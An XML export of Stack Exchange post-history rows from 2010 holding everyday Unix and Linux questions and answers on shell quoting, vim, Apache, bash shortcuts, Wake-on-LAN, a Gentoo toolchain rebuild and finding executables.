  <row Id="2871" PostHistoryTypeId="5" PostId="1460" RevisionGUID="0c55dc62-c0fd-4457-a41e-f09d63ae5f48" CreationDate="2010-09-01T12:22:16.007" UserId="601" Comment="added 69 characters in body; deleted 3 characters in body" Text="Your local shell interpretes the `${i}` within double quotes (`&quot;`), so the command works out to&#xD;&#xA;&#xD;&#xA;    ssh user@some.serv.er &quot;for i in /tmp/foo* ; do echo; done&quot;&#xD;&#xA;&#xD;&#xA;Simply use single quotes (`'`) instead and your problem will disappear:&#xD;&#xA;&#xD;&#xA;    ssh user@${server} 'for i in /tmp/foo* ; do echo $i; done'" />
  <row Id="2872" PostHistoryTypeId="5" PostId="1463" RevisionGUID="ad343546-5baf-4005-87a5-981cd9cc435f" CreationDate="2010-09-01T12:28:08.783" UserId="125" Comment="added 8 characters in body" Text="The differences among Linux distributions are not cosmically significant. In fact,&#xD;&#xA;it is something of a mystery why there are so many different distributions, each&#xD;&#xA;claiming “easy installation” and “a massive software library” as its distinguishing&#xD;&#xA;features. It’s hard to avoid the conclusion that people just like to make new Linux&#xD;&#xA;distributions.&#xD;&#xA;&#xD;&#xA;The most viable distributions are not necessarily the most corporate. For example,&#xD;&#xA;we expect Debian GNU/Linux to remain viable for a long time despite the fact that Debian is not a company, doesn’t sell anything, and offers no formal, on-demand support. Debian itself isn’t one of the most widely used distributions, but it benefits from a committed group of contributors and from the enormous popularity of the Ubuntu distribution, which is based on it.&#xD;&#xA;&#xD;&#xA;When you adopt a distribution, you are making an investment in a particular vendor’s way of doing things. Instead of looking only at the features of the installed software, it’s wise to consider how your organization and that vendor are going to work with each other in the years to come.&#xD;&#xA;&#xD;&#xA;**Some important questions to ask are:&#xD;&#xA;&#xD;&#xA; • Is this distribution going to be around in five years?&#xD;&#xA;&#xD;&#xA; • Is this distribution going to stay on top of the latest security patches?&#xD;&#xA;&#xD;&#xA; • Is this distribution going to release updated software promptly?&#xD;&#xA;&#xD;&#xA; • If I have problems, will the vendor talk to me?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you're looking for a GNU/Linux distro you should definitely check these websites:&#xD;&#xA;&#xD;&#xA; - http://lwn.net/Distributions/&#xD;&#xA;   &#xD;&#xA; - http://distrowatch.com/&#xD;&#xA;&#xD;&#xA; - http://www.linux.org/dist&#xD;&#xA;&#xD;&#xA;If you're looking for a BSD you should check: http://bsdstats.org/&#xD;&#xA;&#xD;&#xA;-----------------------------------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;Server oriented:&#xD;&#xA;&#xD;&#xA;- FreeBSD -&gt; http://www.freebsd.org/&#xD;&#xA;&#xD;&#xA;- Red Hat Enterprise Linux -&gt; http://www.redhat.com/rhel/&#xD;&#xA;&#xD;&#xA;- CentOS -&gt; http://www.centos.org/&#xD;&#xA;&#xD;&#xA;- Oracle Enterprise Linux -&gt; http://www.oracle.com/us/technologies/linux/index.html&#xD;&#xA;&#xD;&#xA;- SUSE Linux Enterprise Server -&gt; http://www.novell.com/products/server/&#xD;&#xA;&#xD;&#xA;- Debian -&gt; http://www.debian.org/&#xD;&#xA;&#xD;&#xA;- Ubuntu Server -&gt; http://www.ubuntu.com/server&#xD;&#xA;&#xD;&#xA;Small Business Server:&#xD;&#xA;&#xD;&#xA;- eBox Platform -&gt; http://ebox-platform.com/&#xD;&#xA;&#xD;&#xA;- ClearOS -&gt; http://www.clearfoundation.com/&#xD;&#xA;&#xD;&#xA;- SME Server -&gt; http://wiki.contribs.org/Main_Page&#xD;&#xA;&#xD;&#xA;What I would choose:&#xD;&#xA;&#xD;&#xA;**Linuxes**: Ubuntu (Kubuntu), Debian, openSUSE (SUSE Linux Enterprise), Fedora (Red Hat Enterprise Linux, CentOS)&#xD;&#xA;&#xD;&#xA;**UNIXes**: Solaris, HP-UX, and AIX&#xD;&#xA;&#xD;&#xA;**BSDs**: FreeBSD, PC-BSD&#xD;&#xA;&#xD;&#xA;-----------------------------------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;Credit: Some information in this post is taken from [&quot;UNIX and Linux System Administration Handbook&quot;][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/q0dG7.jpg&#xD;&#xA;  [2]: http://admin.com/" />
  <row Id="2873" PostHistoryTypeId="2" PostId="1465" RevisionGUID="e3d30717-3941-494d-b436-d4dc7c52d21f" CreationDate="2010-09-01T13:30:27.997" UserId="272" Text="This has nothing to do with the noai option. What you are experiencing, is a little trouble copy-pasting a load of text *with existing indents* to vim.&#xD;&#xA;&#xD;&#xA;What I usually do (I have this 'problem' a lot), is bind F4 to invpaste and then, before I paste stuff into vim, hit that key. It makes the problem go away.&#xD;&#xA;&#xD;&#xA;    nnoremap &lt;F4&gt; :set invpaste paste?&lt;CR&gt;&#xD;&#xA;&#xD;&#xA;Read more about this using &#xD;&#xA;&#xD;&#xA;    :help paste &#xD;&#xA;&#xD;&#xA;inside vim" />
  <row Id="2874" PostHistoryTypeId="2" PostId="1466" RevisionGUID="5a8025fc-51de-40b9-8aac-1cbde9d00123" CreationDate="2010-09-01T14:18:09.747" UserId="272" Text="If you *really* need to stay on RHEL4 / CentOS4 (think about this, read my comment to your original post), you can find RPM's for at least [git][1] and [mercurial][2] in [EPEL for RHEL4][3]. Both are comparable to bazaar, but lack the Launchpad integration that (I think) Bazaar has.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://download.fedora.redhat.com/pub/epel/4/SRPMS/git-1.5.4.7-3.el4.src.rpm&#xD;&#xA;  [2]: http://download.fedora.redhat.com/pub/epel/4/SRPMS/mercurial-1.2-2.el4.1.src.rpm&#xD;&#xA;  [3]: http://download.fedora.redhat.com/pub/epel/4/" />
  <row Id="2875" PostHistoryTypeId="2" PostId="1467" RevisionGUID="a3314f9c-34ad-4dbe-9a59-f39c37001431" CreationDate="2010-09-01T15:53:29.557" UserDisplayName="greg" Text="I'm in the following situation:&#xD;&#xA;I have a directory named &quot;test&quot; at the top level of my site.&#xD;&#xA;When I request &quot;http://mysite.com/test&quot;, apache automatically add a trailing slash and give me &quot;http://mysite.com/test/&quot;. Is there a way to disable that?&#xD;&#xA;&#xD;&#xA;TIA&#xD;&#xA;&#xD;&#xA;greg" />
  <row Id="2876" PostHistoryTypeId="1" PostId="1467" RevisionGUID="a3314f9c-34ad-4dbe-9a59-f39c37001431" CreationDate="2010-09-01T15:53:29.557" UserDisplayName="greg" Text="Disable apache's auto directory &quot;/&quot; completion" />
  <row Id="2877" PostHistoryTypeId="3" PostId="1467" RevisionGUID="a3314f9c-34ad-4dbe-9a59-f39c37001431" CreationDate="2010-09-01T15:53:29.557" UserDisplayName="greg" Text="éapacheà" />
  <row Id="2879" PostHistoryTypeId="2" PostId="1469" RevisionGUID="9ca5902a-ca1f-4fa8-b6e1-36782f6a7eca" CreationDate="2010-09-01T16:10:15.373" UserId="12" Text="When I type `cd ~foo`, I'd like bash to take me to some directory `foo` as a shortcut for typing the full directory path of `foo`. and I'd like to be able to `cp ~foo/bar.txt ~/bar.txt` to copy a file from the `/foo/` directory to the home directory... So basically, I want something that works exactly like `~/` does, but where I specify what the directory should be. [I'm sure I should jfgi, but I don't know what to fg]" />
  <row Id="2880" PostHistoryTypeId="1" PostId="1469" RevisionGUID="9ca5902a-ca1f-4fa8-b6e1-36782f6a7eca" CreationDate="2010-09-01T16:10:15.373" UserId="12" Text="bash directory shortcuts" />
  <row Id="2881" PostHistoryTypeId="3" PostId="1469" RevisionGUID="9ca5902a-ca1f-4fa8-b6e1-36782f6a7eca" CreationDate="2010-09-01T16:10:15.373" UserId="12" Text="ébashà" />
  <row Id="2882" PostHistoryTypeId="2" PostId="1470" RevisionGUID="f30a9d2c-5af5-4c39-bb91-90d3cab2ea50" CreationDate="2010-09-01T16:12:52.970" UserId="601" Text="There are several ways to fix missing slashes, but the most likely one in your case is the [Directory Slash Directive](http://httpd.apache.org/docs/current/mod/mod_dir.html#directoryslash) of mod_dir, which by default is on.&#xD;&#xA;&#xD;&#xA;I'd recommend not to change that configuration, though, because there are good reasons for its existence." />
  <row Id="2884" PostHistoryTypeId="2" PostId="1471" RevisionGUID="22578594-602f-4808-820b-bbbadf507a25" CreationDate="2010-09-01T16:20:49.087" UserId="601" Text="`~foo` is reserved for the home directory of the user foo. I would not recommend creating users just for that convenience.&#xD;&#xA;&#xD;&#xA;You can make your life easier (or harder) when *changing directories* by setting the `CDPATH` environment variable (look it up in `bash(1)`).&#xD;&#xA;&#xD;&#xA;Apart from that, the only way to think of would be to set environment variables for those directories you want to abbreviate.&#xD;&#xA;&#xD;&#xA;    $ FOODIR=/var/lib/misc&#xD;&#xA;    $ cp ~/bar.txt $FOODIR&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2885" PostHistoryTypeId="2" PostId="1472" RevisionGUID="7ac726a8-78b0-430a-85e3-20c2f31fd7d6" CreationDate="2010-09-01T16:21:52.233" UserDisplayName="greg" Text="I found it!&#xD;&#xA;http://httpd.apache.org/docs/current/mod/mod_dir.html" />
  <row Id="2886" PostHistoryTypeId="5" PostId="1433" RevisionGUID="e747a0ff-0a1f-4a3e-aead-899467f844c6" CreationDate="2010-09-01T16:21:58.253" UserId="1207" Comment="Fixing ethertool-&gt;ethtool typo.  Adding link to ethtool" Text="I have had luck using [PowerNap][1] (it is packaged for ubuntu-sever, but the source is there so you should be able to compile it on anything) to suspend backup machines when they aren't doing anything.  However, this won't wake them up automatically.  There is also a PowerWake program bundled with PowerNap that provides a bit of abstraction to the Wake-On-Lan process (makes it easy to send WOL just with the hostname, for instance), but it is still not automatic.&#xD;&#xA;&#xD;&#xA;Edit.&#xD;&#xA;Another Option:&#xD;&#xA;&#xD;&#xA;I don't know much about it because I've never used it, but some cards are capable of waking on any unicast message.  You can see if your card has the capability using [ethtool][2]&#xD;&#xA;&#xD;&#xA;    # ethtool eth0 &#xD;&#xA;&#xD;&#xA;Substitute eth0 for your network device.  Then look at the output for the line starting with &quot;Supports Wake-on:&quot;.  If &quot;u&quot; is listed on that line, then you can do the following at boot(ie, in an init script or something similar):&#xD;&#xA;&#xD;&#xA;    ethtool -s eth0 wol u&#xD;&#xA;&#xD;&#xA;Combined with PowerNap or anything else that puts the machine to sleep under some conditions, this should provide what you are looking for.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://launchpad.net/powernap&#xD;&#xA;  [2]: http://sourceforge.net/projects/gkernel/" />
  <row Id="2887" PostHistoryTypeId="2" PostId="1473" RevisionGUID="e9b22db3-e960-4c5b-a936-815ceffe4899" CreationDate="2010-09-01T16:28:07.863" UserId="73" Text="The way I used to do this is to create a directory that contains symlinks to the directories you want shortcuts do, and add that directory to your CDPATH. CDPATH controls where `cd` will search when you switch directories, so if that directory of symlinks is in your CDPATH you can `cd` to any of the symlinked directories instantly:&#xD;&#xA;&#xD;&#xA;    mkdir ~/symlinks&#xD;&#xA;    ln -s /usr/bin ~/symlinks/b&#xD;&#xA;    export CDPATH=~/symlinks&#xD;&#xA;    cd b   # Switches to /usr/bin&#xD;&#xA;&#xD;&#xA;The downside of course is it won't work if there's a directory in your current directory named &quot;b&quot; -- that takes precedence over the CDPATH&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I normally dislike answers that say &quot;first you need to switch shells&quot;, but this *exact* feature exists in [ZSH](http://www.zsh.org/), if you're willing to use that instead; it's called **named directories**. You export a variable `foo`, and when you refer to `~foo` it resolves to the value of `$foo`. This is especially convenient because it works in commands besides `cd`:&#xD;&#xA;&#xD;&#xA;    echo hi &gt; /tmp/test&#xD;&#xA;    export t=/tmp&#xD;&#xA;    cat ~t/test   # Outputs &quot;hi&quot;&#xD;&#xA;" />
  <row Id="2888" PostHistoryTypeId="2" PostId="1474" RevisionGUID="652b0111-a17c-42fc-991f-4cdb3b1126c8" CreationDate="2010-09-01T17:19:16.547" UserId="1131" Text="Typing&#xD;&#xA;&#xD;&#xA;    ``&#xD;&#xA;&#xD;&#xA;at location X brings you back to the last visited location in the text file.&#xD;&#xA;&#xD;&#xA;Hitting it again you are back at X.&#xD;&#xA;&#xD;&#xA;This switching is similar to Ctrl+6 to open the last opened file.&#xD;&#xA;&#xD;&#xA;But how do can I hop several levels of locations backwards (and then forward)?&#xD;&#xA;&#xD;&#xA;I mean something like the Ctrl+] and Ctrl+T feature for navigate through the stack of visited tags." />
  <row Id="2889" PostHistoryTypeId="1" PostId="1474" RevisionGUID="652b0111-a17c-42fc-991f-4cdb3b1126c8" CreationDate="2010-09-01T17:19:16.547" UserId="1131" Text="Navigate through a stack of locations in vim?" />
  <row Id="2890" PostHistoryTypeId="3" PostId="1474" RevisionGUID="652b0111-a17c-42fc-991f-4cdb3b1126c8" CreationDate="2010-09-01T17:19:16.547" UserId="1131" Text="évimà" />
  <row Id="2891" PostHistoryTypeId="5" PostId="1474" RevisionGUID="058fe761-5bea-45b9-b2f7-385943d236b5" CreationDate="2010-09-01T18:28:08.477" UserId="73" Comment="added 33 characters in body" Text="Typing &lt;kbd&gt;``&lt;/kbd&gt; at location X brings you back to the last visited location in the text file. Hitting it again brings you back to X&#xD;&#xA;&#xD;&#xA;This switching is similar to &lt;kbd&gt;Ctrl+6&lt;/kbd&gt; to open the last opened file.&#xD;&#xA;&#xD;&#xA;But how do can I hop several levels of locations backwards (and then forward)?&#xD;&#xA;&#xD;&#xA;I mean something like the &lt;kbd&gt;Ctrl+]&lt;/kbd&gt; and &lt;kbd&gt;Ctrl+T&lt;/kbd&gt; feature for navigate through the stack of visited tags." />
  <row Id="2892" PostHistoryTypeId="2" PostId="1475" RevisionGUID="b37718f6-ad83-4fae-8ab4-c28128033df1" CreationDate="2010-09-01T18:28:41.060" UserId="62" Text="The article explains it pretty well&#xD;&#xA;&#xD;&#xA;&gt; These charts are not a standard set of&#xD;&#xA;&gt; colors to be found on any X Window&#xD;&#xA;&gt; system. Rather it is the standardised&#xD;&#xA;&gt; &quot;X11 colors&quot; accepted by browsers&#xD;&#xA;&gt; following the HTML and CSS standards.&#xD;&#xA;&gt; This set is cut down and rationalised,&#xD;&#xA;&gt; and has a few differences from a&#xD;&#xA;&gt; typical rgb.txt...&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/X11_color_names" />
  <row Id="2893" PostHistoryTypeId="2" PostId="1476" RevisionGUID="9076ae00-ce56-4fd9-bc9a-80dde1ae41c3" CreationDate="2010-09-01T18:52:35.383" UserId="1376" Text="Ctrl-o and Ctrl-i while in command-mode jump through a stack of locations that you've visited." />
  <row Id="2894" PostHistoryTypeId="2" PostId="1477" RevisionGUID="be4c853c-1a66-4e39-aaba-eb770b171887" CreationDate="2010-09-01T19:23:30.163" UserId="1375" Text="Sorry for my ignorance, this is a newbie question:&#xD;&#xA;&#xD;&#xA;I am trying to migrate from Mac OS X to a Linux distribution, maybe/probably Ubuntu. One of my favorite applications for the Mac was Apple Keynote, which makes amazing sideshow presentations.&#xD;&#xA;&#xD;&#xA;Is there an equivalent solution for Linux distributions that matches/comes close to Keynote in terms of its polish and ease of use? I know about OpenOffice.org Impress but, no pun intended, I am not very Impress-ed..." />
  <row Id="2895" PostHistoryTypeId="1" PostId="1477" RevisionGUID="be4c853c-1a66-4e39-aaba-eb770b171887" CreationDate="2010-09-01T19:23:30.163" UserId="1375" Text="Linux replacement for Apple Keynote software?" />
  <row Id="2896" PostHistoryTypeId="3" PostId="1477" RevisionGUID="be4c853c-1a66-4e39-aaba-eb770b171887" CreationDate="2010-09-01T19:23:30.163" UserId="1375" Text="élinuxà" />
  <row Id="2897" PostHistoryTypeId="2" PostId="1478" RevisionGUID="73ea18fd-bd32-44b0-b2ef-b83468f9d916" CreationDate="2010-09-01T19:28:29.950" UserId="1377" Text="I wiped the partition table of my main drive by accident, thinking I was working on another drive.  &#xD;&#xA;&#xD;&#xA;Scrollback, careful use of df, memory, and luck I was able to recreate it exactly, rewrite it, reboot, and hope... And it worked." />
  <row Id="2898" PostHistoryTypeId="16" PostId="1478" RevisionGUID="73ea18fd-bd32-44b0-b2ef-b83468f9d916" CreationDate="2010-09-01T19:28:29.950" UserId="-1" />
  <row Id="2899" PostHistoryTypeId="2" PostId="1479" RevisionGUID="4f6d1be9-a9b4-487f-804c-7dc5fca7ee21" CreationDate="2010-09-01T19:48:36.897" UserId="382" Text="You could write a wrapper function for `cd` and call it &quot;cd&quot; (ultimately the function will call `builtin cd` - using the `builtin` keyword). You could use a prefix character that Bash won't expand on the command line before your function sees it and that's unlikely to appear as the initial character in your directory names, perhaps &quot;:&quot;. You would want to make it more robust, but here's a simple outline:&#xD;&#xA;&#xD;&#xA;    # format: [semicolon] shortcut colon destination [semicolon] ...&#xD;&#xA;    export CDDATA='foo:/path/to/foo;bar:/path/to/bar;baz:/path/to/baz'&#xD;&#xA;&#xD;&#xA;    cd () {&#xD;&#xA;        local dest=$1&#xD;&#xA;        if [[ $dest == :* ]]&#xD;&#xA;        then&#xD;&#xA;            [[ $CDDATA =~ (^|;)${dest:1}:([^;]*)(;|$) ]]&#xD;&#xA;            dest=${BASH_REMATCH[2]}&#xD;&#xA;        fi&#xD;&#xA;        if [[ -z $dest ]]&#xD;&#xA;        then&#xD;&#xA;            cd&#xD;&#xA;        else&#xD;&#xA;            builtin cd &quot;$dest&quot;&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    cd :bar    # pwd is now /path/to/bar&#xD;&#xA;" />
  <row Id="2900" PostHistoryTypeId="2" PostId="1480" RevisionGUID="d5084bc6-6e74-4837-92cd-a5049dbcb14c" CreationDate="2010-09-01T20:03:17.977" UserId="50" Text="Here's what I found at [OSALT](http://www.osalt.com/keynote#alts)&#xD;&#xA;&#xD;&#xA;They're probably pretty comparable. I haven't used KPresenter but it's worth a look." />
  <row Id="2901" PostHistoryTypeId="5" PostId="1471" RevisionGUID="a5af06a6-a11a-4fe3-8290-71249c920e74" CreationDate="2010-09-01T21:14:44.133" UserId="601" Comment="added 14 characters in body" Text="with bash:&#xD;&#xA;&#xD;&#xA;`~foo` is reserved for the home directory of the user foo. I would not recommend creating users just for that convenience.&#xD;&#xA;&#xD;&#xA;You can make your life easier (or harder) when *changing directories* by setting the `CDPATH` environment variable (look it up in `bash(1)`).&#xD;&#xA;&#xD;&#xA;Apart from that, the only way to think of would be to set environment variables for those directories you want to abbreviate.&#xD;&#xA;&#xD;&#xA;    $ FOODIR=/var/lib/misc&#xD;&#xA;    $ cp ~/bar.txt $FOODIR&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2902" PostHistoryTypeId="2" PostId="1481" RevisionGUID="46c5b4c3-fc52-4927-8ed9-4319754aa1a0" CreationDate="2010-09-01T21:42:07.213" UserId="1377" Text="This is somewhat gentoo-specific, so I'll explain it in that context, then try to abstract it to a generic linux machine.&#xD;&#xA;&#xD;&#xA;I accidently set my CHOST to &quot;&quot; in the beginning, not paying attention, when my machine is a Athlon64.  I would like to change it to &quot;&quot;.  [There is a guide for this.](http://www.gentoo.org/doc/en/change-chost.xml)  It doesn't work.&#xD;&#xA;&#xD;&#xA;The first step is &quot;Recompile binutils, then recompile gcc&quot;&#xD;&#xA;&#xD;&#xA;Here's the problem illustrated:&#xD;&#xA;&#xD;&#xA;1. Compile binutils using gcc - this succeeds producing new as, ar, and the like files&#xD;&#xA;2. This *breaks* gcc.  gcc is now trying to use the new /usr/bin/as - but it can't work with them&#xD;&#xA;3. Since gcc can't compile anything, I can't compile gcc.  I have to revert as, ar, etc; then revert the CHOST change, and recompile binutils.&#xD;&#xA;&#xD;&#xA;So I tried the following:&#xD;&#xA;&#xD;&#xA;1. back up as, ar, etc&#xD;&#xA;2. Compile binutils, rendering gcc inoperabe&#xD;&#xA;3. link ar, as, etc to the old versions I backed up&#xD;&#xA;4. try to compile gcc&#xD;&#xA;&#xD;&#xA;The gcc compile fails with:&#xD;&#xA;&#xD;&#xA;    /usr/x86_64-pc-linux-gnu/bin/ld: skipping incompatible /usr/lib/libc.so when searching for -lc&#xD;&#xA;    /usr/x86_64-pc-linux-gnu/bin/ld: skipping incompatible /usr/lib/libc.a when searching for -lc&#xD;&#xA;    /usr/x86_64-pc-linux-gnu/bin/ld: cannot find -lc&#xD;&#xA;    collect2: ld returned 1 exit status&#xD;&#xA;&#xD;&#xA;*This* is a glibc error (completing the chain).&#xD;&#xA;&#xD;&#xA;So it seems:&#xD;&#xA;&#xD;&#xA;1. for gcc to compile it has a dependency on the new version glibc&#xD;&#xA;2. for gcc to run, binutils must be the older version&#xD;&#xA;&#xD;&#xA;The steps I *haven't* tried, because it's so complicated I wanted to get opinions first, are:&#xD;&#xA;&#xD;&#xA;1. compile binutils under new architecture,&#xD;&#xA;2. relink as, ar, etc to old executables&#xD;&#xA;3. compile new glibc with old-gcc and old-binutils&#xD;&#xA;4. compile new-gcc with old-gcc and old-binutils but new-glibc&#xD;&#xA;5. relink as, ars, etc to new-binutils&#xD;&#xA;6. recompile everything like a boss&#xD;&#xA;&#xD;&#xA;Is there any chance of #4 above working?  Do I have any hope of accomplishing this without a complete reinstall?" />
  <row Id="2903" PostHistoryTypeId="1" PostId="1481" RevisionGUID="46c5b4c3-fc52-4927-8ed9-4319754aa1a0" CreationDate="2010-09-01T21:42:07.213" UserId="1377" Text="Changing my toolchain architecture (in gentoo)" />
  <row Id="2904" PostHistoryTypeId="3" PostId="1481" RevisionGUID="46c5b4c3-fc52-4927-8ed9-4319754aa1a0" CreationDate="2010-09-01T21:42:07.213" UserId="1377" Text="étoolsàégentooàégccà" />
  <row Id="2905" PostHistoryTypeId="2" PostId="1482" RevisionGUID="cb0baeae-3fb1-4728-8bfb-0eb12b984437" CreationDate="2010-09-01T21:51:44.910" UserId="305" Text="As far as I know it is not possible. Please remember that toolchain does not exist in vaccum and is interlinked.&#xD;&#xA;&#xD;&#xA;What might work is to build cross-compiler of new infrastructure but I really doubt it - the &quot;atomicity&quot; on update of glibc will break everything.&#xD;&#xA;&#xD;&#xA;I would advice backup &amp; reinstall of system." />
  <row Id="2906" PostHistoryTypeId="2" PostId="1483" RevisionGUID="9102aaf6-95ef-472a-890e-b2ab25346096" CreationDate="2010-09-01T22:16:27.080" UserId="1103" Text="You could install it from sources. I has quite a few dependencies and apparently some parts seem to be written in C though. It seems however not especially complicated. There is a fairly detailed description here:&#xD;&#xA;&#xD;&#xA;http://wiki.bazaar.canonical.com/SourceDownloads&#xD;&#xA;" />
  <row Id="2907" PostHistoryTypeId="2" PostId="1484" RevisionGUID="0e08b80c-ed4b-41c9-b739-b08bc9a61233" CreationDate="2010-09-01T22:27:10.553" UserId="317" Text="how do I list all executable files recursively within dir?&#xD;&#xA;&#xD;&#xA;currently I used `find` command like this:&#xD;&#xA;&#xD;&#xA;    $ find /mydir/mysubdir -executable -type f&#xD;&#xA;&#xD;&#xA;all executable files are listed (excluding directory), and including executable script file (like script.sh, etc), what I want to do is how to list only binary executable file, can we do that?" />
  <row Id="2908" PostHistoryTypeId="1" PostId="1484" RevisionGUID="0e08b80c-ed4b-41c9-b739-b08bc9a61233" CreationDate="2010-09-01T22:27:10.553" UserId="317" Text="find executable files within dir" />
  <row Id="2909" PostHistoryTypeId="3" PostId="1484" RevisionGUID="0e08b80c-ed4b-41c9-b739-b08bc9a61233" CreationDate="2010-09-01T22:27:10.553" UserId="317" Text="élinuxàécommandölineàébashàéfileàéfindà" />
  <row Id="2910" PostHistoryTypeId="2" PostId="1485" RevisionGUID="ab7404dd-1ade-4120-9ea5-17b828730b97" CreationDate="2010-09-01T22:29:49.853" UserId="1376" Text="Without a rootkit, or without hacking the kernel to specifically allow that behavior, there are not any pre-packaged options.&#xD;&#xA;&#xD;&#xA;If these are processes launched from code you have access to then you may be able to recompile it while altering the argv[0] argument passed into the program. This could effectively change the name to something benign and thus &quot;hide&quot; it from anyone checking top or ps, etc." />
  <row Id="2911" PostHistoryTypeId="2" PostId="1486" RevisionGUID="70d3c91b-b303-41ef-8e16-0816718e962c" CreationDate="2010-09-01T22:50:07.083" UserId="885" Text="Here's a way to exclude scripts, i.e., files whose first two characters are `#!`:&#xD;&#xA;&#xD;&#xA;    find -type f -executable -exec sh -c 'test &quot;$(head -c 2 &quot;$1&quot;)&quot; != &quot;#!&quot;' sh {} \; -print&#xD;&#xA;&#xD;&#xA;For some kinds of files, it's not clear whether you want them classified as scripts or binary, for example bytecode files. Depending on how things are set up, these may or may not start with `#!`. If these matter to you, you'll have to make the inner shell script more complex. For example, here's how you might include ELF binaries and Mono executables and Objective Caml bytecode programs but not other kinds of executables like shell scripts or perl scripts or JVM bytecode programs:&#xD;&#xA;&#xD;&#xA;    find -type f -executable -exec sh -c '&#xD;&#xA;        case &quot;$(head -n 1 &quot;$1&quot;)&quot; in&#xD;&#xA;           ?ELF*) exit 0;;&#xD;&#xA;           MZ*) exit 0;;&#xD;&#xA;           #!*/ocamlrun*) exit 0;;&#xD;&#xA;        esac&#xD;&#xA;        exit 1&#xD;&#xA;    ' sh {} \; -print&#xD;&#xA;" />
  <row Id="2912" PostHistoryTypeId="5" PostId="1481" RevisionGUID="5e03d61b-0ebd-4e69-b56d-794148c8a1cf" CreationDate="2010-09-01T22:53:37.907" UserId="1377" Comment="added 36 characters in body" Text="This is somewhat gentoo-specific, so I'll explain it in that context, then try to abstract it to a generic linux machine.&#xD;&#xA;&#xD;&#xA;I accidently set my CHOST to &quot;i686-pc-linux-gnu&quot; in the beginning, not paying attention, when my machine is a Athlon64.  I would like to change it to &quot;x86_64-pc-linux-gnu&quot;.  [There is a guide for this.](http://www.gentoo.org/doc/en/change-chost.xml)  It doesn't work.&#xD;&#xA;&#xD;&#xA;The first step is &quot;Recompile binutils, then recompile gcc&quot;&#xD;&#xA;&#xD;&#xA;Here's the problem illustrated:&#xD;&#xA;&#xD;&#xA;1. Compile binutils using gcc - this succeeds producing new as, ar, and the like files&#xD;&#xA;2. This *breaks* gcc.  gcc is now trying to use the new /usr/bin/as - but it can't work with them&#xD;&#xA;3. Since gcc can't compile anything, I can't compile gcc.  I have to revert as, ar, etc; then revert the CHOST change, and recompile binutils.&#xD;&#xA;&#xD;&#xA;So I tried the following:&#xD;&#xA;&#xD;&#xA;1. back up as, ar, etc&#xD;&#xA;2. Compile binutils, rendering gcc inoperabe&#xD;&#xA;3. link ar, as, etc to the old versions I backed up&#xD;&#xA;4. try to compile gcc&#xD;&#xA;&#xD;&#xA;The gcc compile fails with:&#xD;&#xA;&#xD;&#xA;    /usr/x86_64-pc-linux-gnu/bin/ld: skipping incompatible /usr/lib/libc.so when searching for -lc&#xD;&#xA;    /usr/x86_64-pc-linux-gnu/bin/ld: skipping incompatible /usr/lib/libc.a when searching for -lc&#xD;&#xA;    /usr/x86_64-pc-linux-gnu/bin/ld: cannot find -lc&#xD;&#xA;    collect2: ld returned 1 exit status&#xD;&#xA;&#xD;&#xA;*This* is a glibc error (completing the chain).&#xD;&#xA;&#xD;&#xA;So it seems:&#xD;&#xA;&#xD;&#xA;1. for gcc to compile it has a dependency on the new version glibc&#xD;&#xA;2. for gcc to run, binutils must be the older version&#xD;&#xA;&#xD;&#xA;The steps I *haven't* tried, because it's so complicated I wanted to get opinions first, are:&#xD;&#xA;&#xD;&#xA;1. compile binutils under new architecture,&#xD;&#xA;2. relink as, ar, etc to old executables&#xD;&#xA;3. compile new glibc with old-gcc and old-binutils&#xD;&#xA;4. compile new-gcc with old-gcc and old-binutils but new-glibc&#xD;&#xA;5. relink as, ars, etc to new-binutils&#xD;&#xA;6. recompile everything like a boss&#xD;&#xA;&#xD;&#xA;Is there any chance of #4 above working?  Do I have any hope of accomplishing this without a complete reinstall?" />
  <row Id="2913" PostHistoryTypeId="2" PostId="1487" RevisionGUID="dfe45d7f-63e8-4e50-97ad-b2d41ce1235a" CreationDate="2010-09-01T23:10:43.437" UserId="1380" Text="I recently switched over to xcfe4 and really enjoy it. However, when I went in to my settings to change the appearance, the theme that I liked best was &quot;Xcfe-dusk&quot; with one exception:&#xD;&#xA;&#xD;&#xA;The default colors for application tabs are so dark that it's hard to tell where they are.&#xD;&#xA;&#xD;&#xA;I hunted around for a little while looking anywhere I could to see where the styles for the tabs are set in the theme configuration file and couldn't find anything that looked like it would do what I need.&#xD;&#xA;&#xD;&#xA;The file I've found to define the theme was:&#xD;&#xA;&#xD;&#xA;    /usr/share/themes/Xfce-dusl/gtk-2.0/gtkrc&#xD;&#xA;&#xD;&#xA;But looking through that file, I can't find anything that seems to apply.&#xD;&#xA;&#xD;&#xA;Any suggestions? Normally I'm a command-line only sort of guy and don't really know much about WMs or theming, and don't even know the terms of what I'm trying to modify, so my Google searches are coming up painfully empty.&#xD;&#xA;&#xD;&#xA;Here is [a screenshot of the type of tabs I want to modify](http://imgur.com/x8ti6.png)." />
  <row Id="2914" PostHistoryTypeId="1" PostId="1487" RevisionGUID="dfe45d7f-63e8-4e50-97ad-b2d41ce1235a" CreationDate="2010-09-01T23:10:43.437" UserId="1380" Text="How do I change xcfe4 &quot;theme&quot; tab colors?" />
  <row Id="2915" PostHistoryTypeId="3" PostId="1487" RevisionGUID="dfe45d7f-63e8-4e50-97ad-b2d41ce1235a" CreationDate="2010-09-01T23:10:43.437" UserId="1380" Text="éwindowömanageràéappearanceà" />
  <row Id="2916" PostHistoryTypeId="2" PostId="1488" RevisionGUID="789a0c28-512b-4bd4-980a-3f15be66a102" CreationDate="2010-09-01T23:20:54.410" UserId="1290" Text="I use this page as color reference when looking for an X11 color:&#xD;&#xA;&#xD;&#xA;http://sedition.com/perl/rgb.html" />
